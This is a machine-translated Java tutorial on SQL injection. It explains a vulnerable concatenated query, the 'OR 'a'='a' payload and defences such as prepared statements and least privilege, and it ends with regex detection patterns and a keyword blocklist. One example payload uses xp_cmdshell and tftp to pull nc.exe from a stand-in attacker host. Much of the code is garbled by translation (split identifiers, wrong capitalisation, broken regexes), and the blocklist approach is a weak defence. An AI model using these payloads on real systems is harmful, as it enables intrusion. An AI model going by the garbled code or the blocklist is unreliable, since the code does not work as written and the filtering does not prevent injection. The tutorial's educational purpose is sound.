Java security-SQL Injection Vulnerability Analysis

Vulnerability overview

The SQL injection vulnerability may occur in the following situations:
1. Data enters the program from an untrusted data source.
2. Data is used to dynamically construct an SQL query.
 

The code is as follows:	Copy code
String userName = ctx. getAuthenticatedUserName (); String itemName = request. getParameter ("itemName "); String query = "SELECT * FROM items WHERE owner + = '"+ UserName +"' AND itemname = '"+ itemName + "'"; ResultSet rs = stmt.exe cute (query );

For example, the following code dynamically constructs and executes an SQL query, which can search for items with the specified name. This query only displays the entries with the same owner as the current user granted permissions. The query executed by this code follows the following method:

The code is as follows:	Copy code
SELECT * FROM items WHERE owner = <userName> AND itemname = <itemName>;

However, because this query is dynamically constructed, it is connected by a constant base query string and a user input string. Therefore, only when itemName does not contain single quotes, the query is correctly executed. If an attacker with a username of hacker enters the string "name 'OR 'a' = 'a" in itemName, the constructed query will become:

The code is as follows:	Copy code
SELECT * FROM items WHERE owner = 'Wiley' AND itemname = 'name' OR 'a' = 'a ';

The additional condition OR 'a' = 'a' will always evaluate the where clause to true, so the query is logically equivalent to a simpler query:

The code is as follows:	Copy code
SELECT * FROM items;

The simplification of this query will allow attackers to bypass the query and only return the same requirements of the entry owner and the authorized current user. The current query will directly return all the entries stored in the items table, no matter who they are.
Vulnerability prevention

Generally, SQL injection is better to prevent, but do not be lucky, because attackers are usually active.

Measure 1: parameterized execution statement (also known as prepared statement PreparedStatement)

It is prohibited to construct executable SQL statements using user input through string concatenation. All statements are parameterized. For java, PreparedStatement is used to execute Statement instead of direct statements.
Note: When PreparedStatement is used, the typed SQL parameter checks the Input type to ensure that the input value is treated as a string, number, date, or boolean equivalent in the database rather than executable code, this prevents SQL injection attacks.

Measure 2: strictly check the type and length of input parameters.
Verify the length of the input data: if the input data is a string, you must check whether the length of the string meets the requirements. The length verification increases the difficulty of attackers launching attacks.
Verify the range of input data: if the input data is a numerical value, you must check whether the range of the numerical value is correct, for example, the age should be 0 ~ A positive integer between 150.
Verify the type of input data: if only the input data is allowed to be a number, the accept type data should not be received.

Measure 3: perform in-depth defense
Powerful security measures should adopt in-depth defense measures. If the front-line defense fails, additional protection can be provided. In the context of the attack on the backend database, three layers of further defense are required.
A. Applications should use as low-level privileges as possible when accessing the database;
Note: generally, an application does not require DBA-level permissions. Generally, it only needs to read and write data. In a secure and critical situation, applications may perform different operations using different database accounts. For example, if 90% of database queries only require read access, these operations can be performed using an account with no write permission. If a specific query only needs to read a subset of data (such as a command table, rather than a user account table), an account with the corresponding access level is used. If this method is enforced throughout the application, the impact of any possible residual SQL injection vulnerabilities will be greatly reduced.
B. Remove all useless default functions from the database;
Note: unnecessary functions should be deleted or disabled whenever possible. Even in some cases, skilled and strong attackers can generate some new features through other means, the small-scale freeze of the database becomes an obstacle for attackers.
C. Database patch updates should be evaluated and updated in a timely manner;
Note: database vulnerabilities may be exploited by attackers. Patches must be updated in a timely manner, but some unnecessary patches or plug-ins may facilitate attackers.

Defense misunderstanding

1. Use two single quotes to filter the single quotes entered by all users, but they are invalid in the following two cases:
A. If the numeric data provided by the user is embedded in the SQL query, the data is generally not enclosed in single quotes. Therefore, attackers can enter arbitrary SQL statements without providing single quotes to get rid of the context of data.
B. In the second SQL injection attack, data that is inserted to the database for security filtering is then read from the database and then transmitted back. When data is reused, the original format will be restored when two single quotes are initially used.
2. Use stored procedures for database operations
Of course, using stored procedures can avoid many security issues and greatly improve performance, but it cannot prevent SQL injection vulnerabilities.
A. In Oracle, A poorly written storage program may contain the SQL injection vulnerability in the code. The SQL statements created in the storage program are the same as those created elsewhere, similar security issues may occur.
B. Even if a powerful storage program is used, if the user input is used and the stored program is called in an insecure way, the SQL injection vulnerability will still occur.
C. For example, if the user registration function is implemented in a bucket, the call statement is as follows: exec sp_RegisterUser 'job', 'secret ', this statement may be as vulnerable to attacks as a simple INSERT statement. For example, attackers can provide the following passwords: foo '; exec master .. xp_cmdshell 'tftp wahh-attacker.com GET nc.exe '-will cause the application to execute the following batch query: exec sp_RegisterUser 'job', 'foo'; exec master .. xp_cmdshell 'tftp wahh-attacker.com GET nc.exe '-' makes no use of the stored program.

The following describes some SQL injection methods for jsp.

Package to be introduced:

The code is as follows:	Copy code
Import java. util. regex .*;

Regular expression:

The code is as follows:	Copy code
Private String CHECKSQL = "^ (. +) \ sand \ s (. +) | (. +) \ sor (. +) \ s $ ";

Determine whether a match exists:

The code is as follows:	Copy code
Pattern. matches (CHECKSQL, targerStr );

The following is a specific regular expression:

The code is as follows:

Copy code

Check the regular expression of SQL meta-characters: /(% 27) | (') | (--) | (% 23) | (#)/ix Corrected the regular expression used to check SQL meta-characters:/(% 3D) | (=) [^ n] * (% 27) | (') | (--) | (% 3B) | (:)/I Typical regular expression for SQL injection attacks:/w * (% 27) | (') (% 6F) | o | (% 4F) (% 72) | r | (% 52)/ix Check SQL injection. Regular expression of the UNION query keyword:/(% 27) | (') union/ix (% 27) | (') Regular expressions used to detect ms SQL Server SQL injection attacks: /Exec (s | +) + (s | x) pw +/ix

And so on .....

A common method:
(| Parameters can be added based on the needs of your program)
========================================================

The code is as follows:	Copy code
Public static boolean SQL _inj (String str) { String inj_str = "'| and | exec | insert | select | delete | update | Count | * | % | chr | mid | master | truncate | char | declare |; | or |-| + | ,"; String inj_stra [] = split (inj_str, "| "); For (int I = 0; I <inj_stra.length; I ++)     { If (str. indexOf (inj_stra)> = 0)         { Return true;         }     } Return false; }

Prevent SQL from URL injection:

The code is as follows:

Copy code

SQL _inj.java code: ======================================================== Package SQL _inj; Import java.net .*; Import java. io .*; Import java. SQL .*; Import java. text .*; Import java. lang. String; Public class SQL _inj { Public static boolean SQL _inj (String str) { String inj_str = "'| and | exec | insert | select | delete | update | Count | * | % | chr | mid | master | truncate | char | declare |; | or |-| + | ,"; // You can add items here String [] inj_stra = inj_str.split ("\ | "); For (int I = 0; I <inj_stra.length; I ++)     { If (str. indexOf (inj_stra)> = 0)         { Return true;         }     } Return false; } }

The preceding methods are mainly used to filter sensitive strings submitted by users. They are mainly SQL statements and some function commands and characters.